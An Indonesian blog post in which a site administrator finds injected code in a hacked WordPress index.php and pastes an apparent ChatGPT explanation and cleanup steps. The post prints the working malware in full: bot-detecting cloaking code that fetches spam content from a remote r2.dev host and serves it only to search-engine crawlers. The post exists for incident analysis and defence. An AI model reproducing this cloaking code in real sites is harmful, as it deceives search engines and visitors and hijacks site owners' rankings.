Kita coba cari File terbaru di WordPress dalam sehari terakhir ada file apa yang barusan dimodifikasi pakai perintah di terminal. cari File bertype *.php yang baru dibuat/edit dalam 24jam terakhir.
find . -name “*.php” -mtime -1 -exec ls -lh {} \;
Ada [svr@cpanel3 ~]$ find . -name “*.php” -mtime -1 -exec ls -lh {} \;
-rw-r–r– 1 svr1 svr1 56K Nov 24 12:41 ./public_html/wp-includes/load.php
-rw-r–r– 1 svr1 svr1 1.6K Nov 24 12:46 ./public_html/index.php
Halaman depan index.php salah satu web yang saya kelola diretas, berikut kode yang disispkan di :
function fetch_url_content($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function is_bot() {
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$bots = array('Googlebot', 'TelegramBot', 'Bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'Googlebot-Mobile', 'Googlebot-News', 'AhrefsBot');
foreach ($bots as $bot) {
if (stripos(strtolower($user_agent),strtolower($bot)) !== false) {
return true;
}
}
return false;
}
$target_pages = [
'/waktu-kuliah/' => 'https://pub-somedomain.r2.dev/waktu.html'
];
$current_page = $_SERVER['REQUEST_URI'];
if (is_bot() && array_key_exists($current_page, $target_pages)) {
$url = $target_pages[$current_page];
$message = fetch_url_content($url);
if ($message === false) {
echo "Error: Unable to retrieve content from $url.";
} else {
echo $message;
exit;
}
}
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Coba kita tanya chat GPT ini artinya apa?
Berbahaya.
Kode yang Anda tampilkan bukan kode WordPress standar, dan sangat kuat indikasinya bahwa website Anda sudah disusupi malware SEO spam / cloaking.
Berikut penjelasan mudahnya:
🔥 Apa yang Dilakukan Kode Ini?
1. Fungsi is_bot()
Kode ini mengecek apakah pengunjung adalah bot mesin pencari seperti:
- Googlebot
- Bingbot
- TelegramBot
- AhrefsBot
dll.
Artinya: kode ini hanya aktif jika yang membuka adalah bot mesin pencari, bukan manusia.
➡️ Ini teknik umum dalam SEO Spam Cloaking.
2. $target_pages berisi URL yang diarahkan ke server luar
'/waktu-kuliah/' => 'https://pub-somedomain.r2.dev/waktu.html'
Jika bot mengakses halaman /waktu-kuliah/, maka:
➤ Website Anda akan mengirim bot ke konten yang diambil dari server asing di r2.dev (Cloudflare R2 Storage)
Ini sangat mencurigakan — server di luar kontrol Anda.
3. Cloaking untuk Bot
Cloaking = menampilkan konten berbeda kepada bot mesin pencari dibanding konten yang dilihat manusia.
Kode ini melakukan itu:
if (is_bot() && array_key_exists($current_page, $target_pages)) {
$message = fetch_url_content($url);
echo $message;
exit;
}
📌 Jadi:
Ketika Googlebot membuka halaman itu, ia TIDAK melihat halaman WordPress Anda, tetapi melihat konten lain dari hacker.
Hasilnya:
- Google akan mengindeks konten spam (judi, porn, investasi palsu, dll).
- Ranking website Anda rusak.
- Situs Anda bisa kena blacklist karena malware / spam.
💀 Kesimpulan: Website Anda 100% Sudah Diretas
Indikasi kuat:
✔ Ada kode cloaking
✔ Ada fetch konten dari domain asing
✔ Kode ditempelkan di file inti WordPress (index.php root)
✔ File "waktu-kuliah" diarahkan ke domain yang mencurigakan
✔ Teknik ini umum untuk Spam Injection, terutama perjudian & backlink injection
🔍 Biasanya hacker menaruh kode ini di:
index.php(seperti yang Anda tunjukkan).htaccessfunctions.phpwp-config.php- Plugin yang dimodifikasi
- Uploads
/wp-content/uploads/2025/...
🛑 Apa yang Harus Anda Lakukan Sekarang (Penting!)
1. Hapus semua kode berbahaya ini dari index.php
Kode standar WordPress TIDAK punya bagian:
fetch_url_content
is_bot
target_pages
Hapus blok tersebut 100%.
2. Cek file lain di root WordPress
Pastikan file berikut tidak berubah ukurannya atau tanggal modifikasi:
wp-config.php.htaccessindex.php
3. Ganti semua password
- WordPress admin
- Database
- Hosting cPanel/Plesk
- FTP/SFTP
- Token API (jika ada)
4. Scan otomatis
Gunakan plugin:
- Wordfence
- Sucuri Security
- Defender Security
5. Periksa Google Search Console → Security Issues
Biasanya akan muncul:
- “Hacked content detected”
- “Spammy structured data”
- “Cloaking detected”
❓ Ping saya kalau mau:
✔ Saya cek file index Anda yg benar
✔ Saya bantu scan file lain yang mungkin terinfeksi
✔ Saya berikan script untuk mendeteksi file mencurigakan otomatis
✔ Saya bantu buat skrip cron monitoring perubahan file
File load.php isinya apa, nanti kita lanjutkan di tulisan berikutnya.